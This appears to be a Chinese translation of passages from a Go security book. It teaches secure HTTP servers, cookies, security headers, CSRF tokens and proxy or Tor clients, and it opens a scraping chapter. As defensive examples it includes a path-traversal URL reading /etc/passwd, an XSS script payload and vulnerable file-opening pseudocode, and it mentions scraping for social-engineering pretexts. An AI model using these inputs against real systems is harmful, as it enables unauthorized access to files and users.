阅读本章后,你将理解基本的暴力破解攻击如何针对不同的应用程序工作。你应该能够根据自己的需求,将此处给出的示例调整用于攻击不同的协议。
请记住,这些示例可能会带来危险,甚至可能导致服务拒绝(DoS)攻击,不建议你将它们应用于生产服务,除非目的是测试你的暴力破解防护措施。仅在你控制、获得测试许可且了解后果的服务上执行这些测试。你绝不能将这些示例或此类攻击用于你不拥有的服务,否则你可能会违反法律并陷入严重的法律困境。
在进行测试时,有些法律界限可能很难区分。例如,如果你租用了硬件设备,从技术上讲,你并不拥有它,即便它位于你的数据中心,你也需要获得许可才能进行测试。类似地,如果你从像亚马逊这样的提供商租用托管服务,你在执行渗透测试之前必须获得他们的许可,否则可能会因违反服务条款而面临后果。
在下一章中,我们将讨论如何使用 Go 语言构建 Web 应用程序,并利用 HTTPS、安全 Cookies 和安全 HTTP 头、转义 HTML 输出和添加日志等最佳实践来加固它们并提升安全性。我们还将探讨如何作为客户端使用 Web 应用程序,通过发起请求、使用客户端 SSL 证书和使用代理来消费 Web 应用程序。
第九章:Web 应用程序
Go 语言在标准库中有一个强大的 HTTP 包。net/http 包的文档可以在golang.org/pkg/net/http/找到,它包含了 HTTP 和 HTTPS 的相关工具。一开始,我建议你远离社区的 HTTP 框架,专注于 Go 的标准库。标准 HTTP 包包括用于监听、路由和模板的函数。内置的 HTTP 服务器具有生产级质量,并且直接绑定到端口,省去了使用单独的 httpd(如 Apache、IIS 或 nginx)的需要。然而,通常会看到 nginx 监听公共端口 80,并将所有请求反向代理到 Go 服务器,该服务器监听的是其他本地端口。
在本章中,我们介绍了如何运行 HTTP 服务器,使用 HTTPS,设置安全的 cookies,并转义输出。我们还介绍了如何使用 Negroni 中间件包,以及如何实现自定义中间件来进行日志记录、添加安全的 HTTP 头信息和服务静态文件。Negroni 采用 Go 语言的惯用方法,并鼓励使用标准库 net/http 处理程序。它非常轻量,并且在现有的 Go 结构之上构建。此外,还提到了一些与运行 Web 应用程序相关的最佳实践。
也提供了 HTTP 客户端示例。从基本的 HTTP 请求开始,我们接着学习如何发起 HTTPS 请求,并使用客户端证书进行身份验证,以及使用代理转发流量。
在本章中,我们将涵盖以下主题:
-
HTTP 服务器
-
简单的 HTTP 服务器
-
TLS 加密的 HTTP(HTTPS)
-
使用安全的 cookies
-
HTML 输出转义
-
使用 Negroni 中间件
-
请求日志记录
-
添加安全的 HTTP 头信息
-
服务静态文件
-
其他最佳实践
-
跨站请求伪造(CSRF)令牌
-
防止用户枚举和滥用
-
避免本地和远程文件包含漏洞
-
HTTP 客户端
-
发起基本的 HTTP 请求
-
使用客户端 SSL 证书
-
使用代理
-
使用系统代理
-
使用 HTTP 代理
-
使用 SOCKS5 代理(Tor)
HTTP 服务器
HTTP 是构建在 TCP 层之上的应用层协议。其概念相对简单;你可以使用纯文本来构造请求。在请求的第一行,你将提供方法(如 GET 或 POST),路径以及你遵循的 HTTP 版本。之后,你将提供一系列的键值对来描述你的请求。通常,你需要提供 Host 值,以便服务器知道你正在请求哪个网站。一个简单的 HTTP 请求可能如下所示:
GET /archive HTTP/1.1
Host: www.devdungeon.com
你无需担心 HTTP 规范中的所有细节。Go 提供了 net/http 包,包含了多个工具,可以轻松创建生产就绪的 Web 服务器,包括对 HTTP/2.0(Go 1.6 及更新版本)的支持。本节涵盖了与运行和保护 HTTP 服务器相关的主题。
简单的 HTTP 服务器
在这个示例中,一个 HTTP 服务器展示了使用标准库创建一个监听服务器是多么简单。此时还没有路由或复用。在这个例子中,服务器通过特定目录提供服务。http.FileServer()具有内置的目录列出功能,因此,如果你向/发送 HTTP 请求,它会列出正在提供服务的目录中的文件:
package main
import (
"fmt"
"log"
"net/http"
"os"
)
func printUsage() {
fmt.Println(os.Args[0] + ` - Serve a directory via HTTP
URL should include protocol IP or hostname and port separated by colon.
Usage:
` + os.Args[0] + ` <listenUrl> <directory>
Example:
` + os.Args[0] + ` localhost:8080 .
` + os.Args[0] + ` 0.0.0.0:9999 /home/nanodano
`)
}
func checkArgs() (string, string) {
if len(os.Args) != 3 {
printUsage()
os.Exit(1)
}
return os.Args[1], os.Args[2]
}
func main() {
listenUrl, directoryPath := checkArgs()
err := http.ListenAndServe(listenUrl,
http.FileServer(http.Dir(directoryPath)))
if err != nil {
log.Fatal("Error running server. ", err)
}
}
下一个示例展示了如何路由路径并创建一个处理传入请求的函数。这个示例不会接受任何命令行参数,因为它本身并不是一个特别有用的程序,但你可以将它作为一个基本模板:
package main
import (
"fmt"
"net/http"
"log"
)
func indexHandler(writer http.ResponseWriter, request *http.Request) {
// Write the contents of the response body to the writer interface
// Request object contains information about and from the client
fmt.Fprintf(writer, "You requested: " + request.URL.Path)
}
func main() {
http.HandleFunc("/", indexHandler)
err := http.ListenAndServe("localhost:8080", nil)
if err != nil {
log.Fatal("Error creating server. ", err)
}
}
HTTP 基本认证
HTTP 基本认证的工作方式是通过将用户名和密码组合,并用冒号分隔符连接,然后使用 base64 编码。这些用户名和密码通常作为 URL 的一部分传递,例如:http://<用户名>:<密码>@www.example.com。但实际发生的情况是,用户名和密码被组合、编码,并作为 HTTP 头部传递。
如果你使用这种认证方法,请记住它是没有加密的。用户名和密码在传输过程中没有保护。你始终希望在传输层使用加密,这意味着需要添加 TLS/SSL。
现在 HTTP 基本认证不再广泛使用,但它很容易实现。一个更常见的方法是构建或使用你自己的认证层,例如将用户名和密码与一个包含加盐哈希密码的用户数据库进行比较。
请参阅第八章,暴力破解,了解如何创建一个客户端并连接到需要 HTTP 基本认证的 HTTP 服务器。Go 标准库只提供了作为客户端的 HTTP 基本认证方法,并不提供在服务器端检查基本认证的方法。
我不再建议你在服务器上实现 HTTP 基本认证。如果你需要认证客户端,请使用 TLS 证书。
使用 HTTPS
在第六章,密码学中,我们带你了解了生成密钥的步骤,并创建了自己的自签名证书。我们还给了你一个如何运行 TCP 套接字级 TLS 服务器的示例。本节将展示如何创建一个 TLS 加密的 HTTP 服务器或 HTTPS 服务器。
TLS 是 SSL 的更新版本,Go 有一个标准包很好地支持它。你需要一个私钥和使用该密钥生成的签名证书。你可以使用自签名证书或由认可的证书颁发机构签名的证书。历史上,受信任的证书颁发机构签发的 SSL 证书通常是收费的,但letsencrypt.org/改变了这一格局,它们开始提供由广泛信任的证书颁发机构签发的免费自动化证书。
如果你需要此示例的证书(cert.pem),请参考 第六章,密码学,获取创建自签名证书的示例。
以下代码演示了如何运行一个基本的 HTTPS 服务器,该服务器提供单一的网页。有关各种 HTTP 欺骗陷阱示例和更多 HTTP 服务器参考代码,请参考 第十章,网页抓取。在源代码中初始化 HTTPS 服务器后,你可以像操作 HTTP 服务器对象一样操作它。请注意,这与 HTTP 服务器的唯一区别在于你调用的是 http.ListenAndServeTLS() 而非 http.ListenAndServe()。此外,你必须为服务器提供证书和密钥:
package main
import (
"fmt"
"net/http"
"log"
)
func indexHandler(writer http.ResponseWriter, request *http.Request) {
fmt.Fprintf(writer, "You requested: "+request.URL.Path)
}
func main() {
http.HandleFunc("/", indexHandler)
err := http.ListenAndServeTLS(
"localhost:8181",
"cert.pem",
"privateKey.pem",
nil,
)
if err != nil {
log.Fatal("Error creating server. ", err)
}
}
创建安全的 cookie
Cookie 本身不应包含用户不应看到的敏感信息。攻击者可能会通过攻击 cookie 来尝试收集私人信息。最常见的目标是会话 cookie。如果会话 cookie 被盗取,攻击者可以利用该 cookie 冒充用户,服务器会允许这种行为。
HttpOnly 标志要求浏览器防止 JavaScript 访问 cookie,保护免受跨站脚本攻击。该 cookie 只会在进行 HTTP 请求时发送。如果你确实需要通过 JavaScript 访问某个 cookie,只需创建一个与会话 cookie 不同的 cookie。
Secure 标志要求浏览器仅使用 TLS/SSL 加密传输 cookie。这可以防止会话 旁路攻击,这类攻击通常通过嗅探公共的非加密 Wi-Fi 网络或中间人连接进行。一些网站只在登录页面上启用 SSL 来保护密码,但之后的每一个连接都使用明文 HTTP,这时会话 cookie 可能会被从网络中窃取,或者如果缺少 HttpOnly 标志,还可能通过 JavaScript 被盗取。
创建会话令牌时,请确保使用加密安全的伪随机数生成器生成它。会话令牌的最小长度应为 128 位。参考 第六章,密码学,获取生成安全随机字节的示例。
以下示例创建了一个简单的 HTTP 服务器,只有一个函数,即 indexHandler()。该函数会根据推荐的安全设置创建一个 cookie,然后调用 http.SetCookie(),在打印响应主体并返回之前。
package main
import (
"fmt"
"net/http"
"log"
"time"
)
func indexHandler(writer http.ResponseWriter, request *http.Request) {
secureSessionCookie := http.Cookie {
Name: "SessionID",
Value: "<secure32ByteToken>",
Domain: "yourdomain.com",
Path: "/",
Expires: time.Now().Add(60 * time.Minute),
HttpOnly: true, // Prevents JavaScript from accessing
Secure: true, // Requires HTTPS
}
// Write cookie header to response
http.SetCookie(writer, &secureSessionCookie)
fmt.Fprintln(writer, "Cookie has been set.")
}
func main() {
http.HandleFunc("/", indexHandler)
err := http.ListenAndServe("localhost:8080", nil)
if err != nil {
log.Fatal("Error creating server. ", err)
}
}
HTML 输出转义
Go 提供了一个标准函数,用于转义字符串并防止 HTML 字符被渲染。
在将用户接收到的任何数据输出到响应时,始终对其进行转义以防止跨站脚本攻击。无论用户提供的数据来自 URL 查询、POST 值、用户代理头、表单、cookie 还是数据库,这一规则都适用。以下代码片段展示了如何转义一个字符串:
package main
import (
"fmt"
"html"
)
func main() {
rawString := `<script>alert("Test");</script>`
safeString := html.EscapeString(rawString)
fmt.Println("Unescaped: " + rawString)
fmt.Println("Escaped: " + safeString)
}
使用 Negroni 的中间件
中间件是指可以绑定到请求/响应流程中的函数,这些函数可以在将请求传递给下一个中间件并最终返回给客户端之前进行操作或修改。
中间件是一系列按顺序运行的函数,针对每个请求。您可以向这个链中添加更多的函数。我们将通过一些实际示例来看看,比如 IP 地址黑名单、添加日志记录和添加授权检查。
中间件的顺序非常重要。例如,我们可能希望先放置日志记录中间件,然后是 IP 黑名单中间件。我们希望 IP 黑名单模块先运行,或者至少在前面运行,以免其他中间件浪费资源处理那些注定会被拒绝的请求。您可以在将请求传递给下一个中间件处理器之前操作请求和响应。
您可能还想为分析、日志记录、IP 黑名单、注入头部或拒绝某些用户代理(如 curl、python 或 go)构建自定义中间件。
这些示例使用了 Negroni 包。在编译并运行这些示例之前,您需要 go get 该包。这些示例调用了 http.ListenAndServe(),但您也可以轻松修改它们以使用 TLS,方法是使用 http.ListenAndServeTLS():
go get github.com/urfave/negroni
以下示例创建了一个 customMiddlewareHandler() 函数,我们将告诉 negroniHandler 接口使用它。自定义中间件仅记录传入的请求 URL 和用户代理,但您可以根据需要进行修改,包括在请求返回客户端之前修改请求:
package main
import (
"fmt"
"log"
"net/http"
"github.com/urfave/negroni"
)
// Custom middleware handler logs user agent
func customMiddlewareHandler(rw http.ResponseWriter,
r *http.Request,
next http.HandlerFunc,
) {
log.Println("Incoming request: " + r.URL.Path)
log.Println("User agent: " + r.UserAgent())
next(rw, r) // Pass on to next middleware handler
}
// Return response to client
func indexHandler(writer http.ResponseWriter, request *http.Request) {
fmt.Fprintf(writer, "You requested: " + request.URL.Path)
}
func main() {
multiplexer := http.NewServeMux()
multiplexer.HandleFunc("/", indexHandler)
negroniHandler := negroni.New()
negroniHandler.Use(negroni.HandlerFunc(customMiddlewareHandler))
negroniHandler.UseHandler(multiplexer)
http.ListenAndServe("localhost:3000", negroniHandler)
}
记录请求
由于日志记录是一个非常常见的任务,Negroni 提供了一个日志记录中间件,您可以使用它,正如以下示例所示:
package main
import (
"fmt"
"net/http"
"github.com/urfave/negroni"
)
// Return response to client
func indexHandler(writer http.ResponseWriter, request *http.Request) {
fmt.Fprintf(writer, "You requested: " + request.URL.Path)
}
func main() {
multiplexer := http.NewServeMux()
multiplexer.HandleFunc("/", indexHandler)
negroniHandler := negroni.New()
negroniHandler.Use(negroni.NewLogger()) // Negroni's default logger
negroniHandler.UseHandler(multiplexer)
http.ListenAndServe("localhost:3000", negroniHandler)
}
添加安全的 HTTP 头部
利用 Negroni 包,我们可以轻松创建自定义中间件,注入一组 HTTP 头部,以帮助提高安全性。您需要评估每个头部,看看它是否适合您的应用程序。此外,并不是每个浏览器都支持这些头部中的每一个。这是一个良好的起点,您可以根据需要进行修改。
这个示例中使用了以下标题:
| Header | Description |
|---|---|
Content-Security-Policy |
该头部定义哪些脚本或远程主机是受信任的,并且能够提供可执行的 JavaScript |
X-Frame-Options |
该头部定义是否可以使用框架和内嵌框架,以及哪些域名可以出现在框架中 |
X-XSS-Protection |
这告诉浏览器在检测到跨站脚本攻击时停止加载;如果定义了良好的 Content-Security-Policy 头部,这通常是不必要的 |
Strict-Transport-Security |
这告诉浏览器仅使用 HTTPS,而不是 HTTP |
X-Content-Type-Options |
这告诉浏览器使用服务器提供的 MIME 类型,而不是基于 MIME 嗅探猜测进行修改 |
最终是否使用这些头部或忽略它们取决于客户端的 Web 浏览器。如果没有一个能够正确应用头部值的浏览器,它们并不能保证任何安全性。
这个例子创建了一个名为 addSecureHeaders() 的函数,作为额外的中间件处理程序,在响应返回给客户端之前修改响应头。根据需要调整头部以适应你的应用程序:
package main
import (
"fmt"
"net/http"
"github.com/urfave/negroni"
)
// Custom middleware handler logs user agent
func addSecureHeaders(rw http.ResponseWriter, r *http.Request,
next http.HandlerFunc) {
rw.Header().Add("Content-Security-Policy", "default-src 'self'")
rw.Header().Add("X-Frame-Options", "SAMEORIGIN")
rw.Header().Add("X-XSS-Protection", "1; mode=block")
rw.Header().Add("Strict-Transport-Security",
"max-age=10000, includeSubdomains; preload")
rw.Header().Add("X-Content-Type-Options", "nosniff")
next(rw, r) // Pass on to next middleware handler
}
// Return response to client
func indexHandler(writer http.ResponseWriter, request *http.Request) {
fmt.Fprintf(writer, "You requested: " + request.URL.Path)
}
func main() {
multiplexer := http.NewServeMux()
multiplexer.HandleFunc("/", indexHandler)
negroniHandler := negroni.New()
// Set up as many middleware functions as you need, in order
negroniHandler.Use(negroni.HandlerFunc(addSecureHeaders))
negroniHandler.Use(negroni.NewLogger())
negroniHandler.UseHandler(multiplexer)
http.ListenAndServe("localhost:3000", negroniHandler)
}
提供静态文件
另一个常见的 Web 服务器任务是提供静态文件。值得一提的是 Negroni 中间件处理程序,它用于提供静态文件。只需添加额外的 Use() 调用,并传递 negroni.NewStatic()。确保你的静态文件目录仅包含客户端应该访问的文件。在大多数情况下,静态文件目录包含客户端的 CSS 和 JavaScript 文件。不要放置数据库备份、配置文件、SSH 密钥、Git 仓库、开发文件或任何客户端不应该访问的内容。像这样添加静态文件中间件:
negroniHandler.Use(negroni.NewStatic(http.Dir("/path/to/static/files")))
其他最佳实践
在创建 Web 应用程序时,还有一些其他值得考虑的事项。虽然这些并非 Go 特有的,但在开发过程中,考虑这些最佳实践是值得的。
CSRF 令牌
跨站请求伪造(CSRF)令牌是一种防止一个网站代替你在另一个网站上执行操作的方式。
CSRF 是一种常见的攻击方式,受害者会访问一个嵌入恶意代码的网站,该代码尝试向其他网站发起请求。例如,攻击者嵌入了一个 JavaScript,使其向每个银行网站发送一个 POST 请求,试图将 1,000 美元转账到攻击者的银行账户。如果受害者在其中一个银行有活动会话,并且该银行未实现 CSRF 令牌,那么银行网站可能会接受并处理该请求。
即使在受信任的网站上,如果该网站容易受到反射型或存储型跨站脚本攻击,仍然可能成为 CSRF 攻击的受害者。自 2007 年以来,CSRF 一直位于 OWASP Top 10 中,并在 2017 年继续位列其中。
Go 提供了一个 xsrftoken 包,你可以在 godoc.org/golang.org/x/net/xsrftoken 上了解更多信息。它提供了一个 Generate() 函数用于生成令牌,和一个 Valid() 函数用于验证令牌。你可以使用他们的实现,或者根据你的需求开发自己的实现。
要实现 CSRF 令牌,创建一个 16 字节的随机令牌,并将其存储在与用户会话相关联的服务器上。你可以使用任何后端存储令牌,无论是在内存中、数据库中还是文件中。将 CSRF 令牌嵌入到表单中作为隐藏字段。在服务器端处理表单时,验证 CSRF 令牌是否存在且与用户匹配。令牌使用后销毁,不要重复使用同一个令牌。
实现 CSRF 令牌的各种要求已在前面的章节中介绍:
-
生成令牌:在第六章,《加密学》中,标题为《加密安全伪随机数生成器(CSPRNG)》的部分提供了一个生成随机数、字符串和字节的示例。
-
创建、提供和处理 HTML 表单:在第九章,《Web 应用程序》中,标题为《HTTP 服务器》的部分提供了关于创建安全 Web 服务器的信息,而第十二章,《社会工程学》中的《HTTP POST 表单登录蜜罐》部分有一个处理 POST 请求的示例。
-
存储令牌到文件中:在第三章,《操作文件》一节中,标题为《将字节写入文件》的部分提供了一个将数据存储到文件中的示例。
-
将令牌存储在数据库中:在第八章,《暴力破解》中,标题为《暴力破解数据库登录》的部分提供了连接到各种数据库类型的蓝图。
防止用户枚举和滥用
需要记住的要点如下:
-
不要让人们知道谁有账户
-
不要让某人利用你的邮箱服务器向用户发送垃圾邮件
-
不要允许人们通过暴力破解尝试找出谁已注册
让我们详细讨论一些实际的例子。
注册
当有人尝试注册一个电子邮件地址时,不要向网页客户端用户提供任何关于账户是否已注册的反馈。相反,向该邮箱地址发送邮件,并简单地给网页用户一个信息:“一封邮件已发送至提供的地址。”
如果他们从未注册过,一切正常。如果他们已经注册,网页用户不会被告知该邮箱已经注册。相反,会向用户的邮箱地址发送一封邮件,告知该邮箱已被注册。这将提醒他们已经拥有一个帐户,可以使用密码重置工具,或者让他们知道某些情况可能存在异常,可能有人在进行恶意操作。
小心不要允许攻击者反复尝试登录过程,产生大量邮件发送给真实用户。
登录
不要向网页用户反馈电子邮件是否存在。你不希望用户通过尝试使用某个电子邮件地址登录并根据返回的错误信息判断该地址是否注册了账户。例如,攻击者可能会尝试使用一系列电子邮件地址登录,如果服务器返回“密码不匹配”的错误信息给某些电子邮件地址,而返回“该电子邮件未注册”的错误信息给其他地址,攻击者就能确定哪些电子邮件地址已注册。
重置密码
避免允许电子邮件垃圾邮件。对发送的电子邮件进行速率限制,确保攻击者无法通过多次提交忘记密码表单来向用户发送垃圾邮件。
创建重置令牌时,确保令牌具有良好的熵值,防止其被猜测。不要仅仅基于时间和用户 ID 来创建令牌,因为这样容易被猜测和暴力破解,因为熵值不足。你应该至少使用 16-32 个随机字节来确保令牌具有足够的熵。有关生成加密安全随机字节的示例,请参考 第六章,密码学。
同时,设置令牌在短时间后过期。根据应用程序的不同,1 小时到 1 天之间是不错的选择。每次只允许使用一个重置令牌,并在使用后销毁该令牌,以防止其被重放和再次使用。
用户资料
类似于登录页面,如果你有用户资料页面,务必小心避免用户名枚举攻击。例如,如果某人访问 /users/JohnDoe 和 /users/JaneDoe,其中一个返回 404 Not Found 错误,而另一个返回 401 Access Denied 错误,攻击者就可以推断出一个账户存在而另一个账户不存在。
防止 LFI 和 RFI 滥用
本地文件包含 (LFI) 和 远程文件包含 (RFI) 是另外两种 OWASP Top 10 漏洞。它们指的是从本地文件系统或远程主机加载本不应加载的文件,或者加载了本应加载的文件,但这些文件被污染了。远程文件包含尤其危险,因为如果没有采取预防措施,用户可能会提供来自恶意服务器的远程文件。
如果文件名由用户指定而没有进行任何清理,切勿从本地文件系统中打开该文件。假设一个例子,文件是通过 Web 服务器响应用户请求返回的。用户可能能够请求一个包含敏感系统信息的文件,比如 /etc/passwd,URL 可能是这样的:
http://localhost/displayFile?filename=/etc/passwd
如果 Web 服务器像这样处理,可能会带来大麻烦(伪代码):
file = os.Open(request.GET['filename'])
return file.ReadAll()
你不能仅仅通过在路径前添加特定的目录来修复这个问题:
os.Open('/path/to/mydir/' + GET['filename']).
这还不够,因为攻击者可以利用目录遍历攻击回到文件系统的根目录,如下所示:
http://localhost/displayFile?filename=../../../etc/passwd
确保在任何文件包含操作中检查目录遍历攻击。
被污染的文件
如果攻击者发现 LFI(本地文件包含漏洞),或者你提供了一个用于查看日志文件的 Web 界面,你需要确保即使日志被污染,也不会执行任何代码。
攻击者可能通过在你的服务上采取某些行动来污染你的日志并插入恶意代码,从而创建一个日志条目。任何生成的日志都必须加载或显示时,都必须考虑到这一点。
例如,Web 服务器日志可能会被通过对一个实际上是代码的 URL 发起 HTTP 请求而污染。你的日志将会有 404 Not Found 错误,并记录被请求的 URL,而该 URL 实际上是代码。如果是 PHP 服务器或其他脚本语言,这可能会导致潜在的代码执行,但在 Go 中,最糟糕的情况是 JavaScript 注入,这对用户仍然可能是危险的。想象一下这样的场景:一个 Web 应用程序有一个 HTTP 日志查看器,它从磁盘加载日志文件。如果攻击者向 yourwebsite.com/<script>alert("test");</script> 发起请求,那么如果 HTML 日志查看器没有正确地转义或清理代码,最终可能会渲染出这些代码。
HTTP 客户端
现在,HTTP 请求是许多应用程序的核心部分。Go 语言作为一种 web 友好的语言,包含了多个用于发起 HTTP 请求的工具,这些工具位于 net/http 包中。
基本的 HTTP 请求
这个示例使用了来自 net/http 标准库包的 http.Get() 函数。它将整个响应体读取到名为 body 的变量中,然后将其打印到标准输出:
package main
import (
"fmt"
"io/ioutil"
"log"
"net/http"
)
func main() {
// Make basic HTTP GET request
response, err := http.Get("http://www.example.com")
if err != nil {
log.Fatal("Error fetching URL. ", err)
}
// Read body from response
body, err := ioutil.ReadAll(response.Body)
response.Body.Close()
if err != nil {
log.Fatal("Error reading response. ", err)
}
fmt.Printf("%s\n", body)
}
使用客户端 SSL 证书
如果远程 HTTPS 服务器有严格的身份验证并且需要受信任的客户端证书,你可以通过设置 http.Transport 对象中的 TLSClientConfig 变量来指定证书文件,该对象是 http.Client 用于发起 GET 请求的。
这个示例发起了一个类似于前面示例的 HTTP GET 请求,但它没有使用 net/http 包提供的默认 HTTP 客户端。它创建了一个自定义的 http.Client 并配置了它以使用带有客户端证书的 TLS。如果你需要证书或私钥,请参考 第六章,加密学,其中包含生成密钥和自签名证书的示例:
package main
import (
"crypto/tls"
"log"
"net/http"
)
func main() {
// Load cert
cert, err := tls.LoadX509KeyPair("cert.pem", "privKey.pem")
if err != nil {
log.Fatal(err)
}
// Configure TLS client
tlsConfig := &tls.Config{
Certificates: []tls.Certificate{cert},
}
tlsConfig.BuildNameToCertificate()
transport := &http.Transport{
TLSClientConfig: tlsConfig,
}
client := &http.Client{Transport: transport}
// Use client to make request.
// Ignoring response, just verifying connection accepted.
_, err = client.Get("https://example.com")
if err != nil {
log.Println("Error making request. ", err)
}
}
使用代理
正向代理对许多用途非常有用,包括查看 HTTP 流量、调试应用程序、逆向工程 API 和修改头信息,它也可以用来增加你在目标服务器上的匿名性。然而,要注意,许多代理服务器仍然通过 X-Forwarded-For 头部转发你的原始 IP。
你可以使用环境变量来设置代理,或者显式地在请求中设置代理。Go HTTP 客户端支持 HTTP、HTTPS 和 SOCKS5 代理,例如 Tor。
使用系统代理
Go 的默认 HTTP 客户端会尊重系统通过环境变量设置的 HTTP(S) 代理。Go 使用 HTTP_PROXY、HTTPS_PROXY 和 NO_PROXY 环境变量。小写版本也有效。你可以在运行进程之前设置环境变量,或者使用以下方式在 Go 中设置环境变量:
os.Setenv("HTTP_PROXY", "proxyIp:proxyPort")
配置好环境变量后,任何使用默认 Go HTTP 客户端发起的 HTTP 请求都会遵循代理设置。了解更多关于默认代理设置的信息,请访问 golang.org/pkg/net/http/#ProxyFromEnvironment。
使用特定的 HTTP 代理
若要显式设置代理 URL,忽略环境变量,可以在自定义的 http.Transport 对象中设置 ProxyURL 变量,http.Client 会使用该自定义传输对象。以下示例创建了一个自定义的 http.Transport 并指定了 proxyUrlString。该示例中代理的值为占位符,需要替换为有效的代理。然后创建并配置 http.Client 使用带代理的自定义传输:
package main
import (
"io/ioutil"
"log"
"net/http"
"net/url"
"time"
)
func main() {
proxyUrlString := "http://<proxyIp>:<proxyPort>"
proxyUrl, err := url.Parse(proxyUrlString)
if err != nil {
log.Fatal("Error parsing URL. ", err)
}
// Set up a custom HTTP transport for client
customTransport := &http.Transport{
Proxy: http.ProxyURL(proxyUrl),
}
httpClient := &http.Client{
Transport: customTransport,
Timeout: time.Second * 5,
}
// Make request
response, err := httpClient.Get("http://www.example.com")
if err != nil {
log.Fatal("Error making GET request. ", err)
}
defer response.Body.Close()
// Read and print response from server
body, err := ioutil.ReadAll(response.Body)
if err != nil {
log.Fatal("Error reading body of response. ", err)
}
log.Println(string(body))
}
使用 SOCKS5 代理(Tor)
Tor 是一个匿名性服务,旨在保护你的隐私。除非你完全理解所有的影响,否则不要使用 Tor。了解更多关于 Tor 的信息,请访问 www.torproject.org。此示例展示了如何在发起请求时使用 Tor,但这同样适用于其他 SOCKS5 代理。
要使用 SOCKS5 代理,唯一需要修改的是代理的 URL 字符串。请使用 socks5:// 协议前缀代替 HTTP 协议。
默认的 Tor 端口是 9050,或者在使用 Tor 浏览器捆绑包时是 9150。以下示例将执行一个 GET 请求到 check.torproject.org,通过该请求可以查看是否已正确通过 Tor 网络进行路由:
package main
import (
"io/ioutil"
"log"
"net/http"
"net/url"
"time"
)
// The Tor proxy server must already be running and listening
func main() {
targetUrl := "https://check.torproject.org"
torProxy := "socks5://localhost:9050" // 9150 w/ Tor Browser
// Parse Tor proxy URL string to a URL type
torProxyUrl, err := url.Parse(torProxy)
if err != nil {
log.Fatal("Error parsing Tor proxy URL:", torProxy, ". ", err)
}
// Set up a custom HTTP transport for the client
torTransport := &http.Transport{Proxy: http.ProxyURL(torProxyUrl)}
client := &http.Client{
Transport: torTransport,
Timeout: time.Second * 5
}
// Make request
response, err := client.Get(targetUrl)
if err != nil {
log.Fatal("Error making GET request. ", err)
}
defer response.Body.Close()
// Read response
body, err := ioutil.ReadAll(response.Body)
if err != nil {
log.Fatal("Error reading body of response. ", err)
}
log.Println(string(body))
}
总结
在本章中,我们介绍了如何运行用 Go 编写的 Web 服务器的基础知识。现在,你应该能够创建一个基本的 HTTP 和 HTTPS 服务器。此外,你应该理解中间件的概念,并知道如何使用 Negroni 包实现预构建和自定义中间件。
我们还介绍了一些确保 Web 服务器安全的最佳实践。你应该理解 CSRF 攻击是什么,以及如何防止它。你应该能够解释本地和远程文件包含的概念以及相关的风险。
标准库中的 Web 服务器质量足以用于生产,它具备了创建生产就绪 Web 应用所需的一切。还有一些其他的 Web 应用框架,如 Gorilla、Revel 和 Martini,但最终你需要评估每个框架提供的功能,看看它们是否符合你的项目需求。
我们还讲解了标准库提供的 HTTP 客户端函数。你应该知道如何使用客户端证书发起基本的 HTTP 请求和认证请求。你应该理解如何在发起请求时使用 HTTP 代理。
在接下来的章节中,我们将探讨网页抓取技术,从 HTML 格式的网站中提取信息。我们将从基本技术开始,例如字符串匹配和正则表达式,还将探讨goquery包用于处理 HTML DOM。我们还将介绍如何使用 Cookie 在登录会话中进行爬取。此外,我们还会讨论指纹识别网站应用程序以识别框架。我们还将涵盖使用广度优先和深度优先方法爬取网络。
第十章:网络抓取
从网络收集信息在许多场合下都非常有用。网站可以提供大量信息,这些信息可以用来帮助进行社会工程学攻击或钓鱼攻击。你可以找到潜在目标的姓名和电子邮件,或者收集关键词和标题,帮助快速理解网站的主题或业务。你还可以通过网页抓取技术,了解业务的地理位置,找到图片和文档,分析网站的其他方面。
了解目标有助于你创建一个可信的借口。借口(Pretexting)是攻击者用来欺骗毫无防备的受害者,诱使他们按照请求操作,从而损害用户、其账户或计算机的一种常见技巧。例如,有人研究了一家公司,发现它是一家大型公司,且在某个特定城市设有集中的 IT 支持部门。他们可以打电话或发邮件给公司的人,假装自己是技术支持人员,要求他们执行某些操作或提供密码。从公司的公共网站上获得的信息可能包含许多可以用来设立借口的细节。
网络爬虫是抓取的另一个方面,它涉及跟随超链接到其他页面。广度优先爬取指的是尽可能找到更多不同的网站并跟随它们,寻找更多的网站。深度优先爬取指的是爬取一个网站,找到所有可能的页面,然后再移动到下一个网站。
在本章中,我们将介绍网页抓取和网页爬取。我们将通过一些基本任务的示例,帮助你完成诸如查找链接、文档和图片,寻找隐藏文件和信息,使用一个强大的第三方包 goquery。我们还将讨论减少自己网站抓取的技巧。
在本章中,我们将特别介绍以下主题:
-
网络抓取基础
-
字符串匹配
-
正则表达式
-
从响应中提取 HTTP 头部
-
使用 cookies
-
从页面中提取 HTML 注释
-
搜索网页服务器上未列出的文件
-
修改用户代理
-
对网页应用程序和服务器进行指纹识别
-
-
使用 goquery 包
-
列出页面中的所有链接
-
列出页面中的所有文档链接
-
列出页面的标题和标题标签
-
计算页面中最常用的单词
-
列出页面中的所有外部 JavaScript 源
-
深度优先爬取
-
广度优先爬取
-
-
防止网页抓取
网络抓取基础
本书中所说的网页抓取,是指从 HTML 结构化页面中提取信息的过程,这些页面是供人类查看的,而非供程序消费。一些服务提供了适合程序化使用的 API,但有些网站只提供 HTML 页面中的信息。这些网页抓取示例展示了从 HTML 中提取信息的不同方法。我们将从基本的字符串匹配开始,然后是正则表达式,最后是一个强大的名为goquery的网页抓取包。
使用 strings 包在 HTTP 响应中查找字符串
为了开始,我们先看一下如何使用标准库发起一个基本的 HTTP 请求,并查找字符串。首先,我们将创建http.Client并设置任何自定义变量;例如,客户端是否应该跟随重定向,应该使用哪些 cookie,或者使用什么传输。
http.Transport类型实现了执行 HTTP 请求并获取响应的网络请求操作。默认情况下,使用http.RoundTripper,它执行单个 HTTP 请求。对于大多数使用场景,默认的传输就足够了。默认情况下,环境中的 HTTP 代理会被使用,但代理也可以在传输中指定。如果你想使用多个代理,这可能会很有用。此示例未使用自定义的http.Transport类型,但我想强调的是,http.Transport是http.Client中的一个嵌入类型。
我们正在创建一个自定义的http.Client类型,但仅仅是为了重写Timeout字段。默认情况下,没有超时设置,应用程序可能会永远挂起。
另一个可以在http.Client中重写的嵌入类型是http.CookieJar类型。http.CookieJar接口要求的两个函数是:SetCookies()和Cookies()。标准库中包含了net/http/cookiejar包,并且它包含了CookieJar的默认实现。多个 cookie jar 的一个使用场景是登录并存储与网站的多个会话。你可以登录多个用户,将每个会话存储在一个 cookie jar 中,并按需使用它们。此示例未使用自定义 cookie jar。
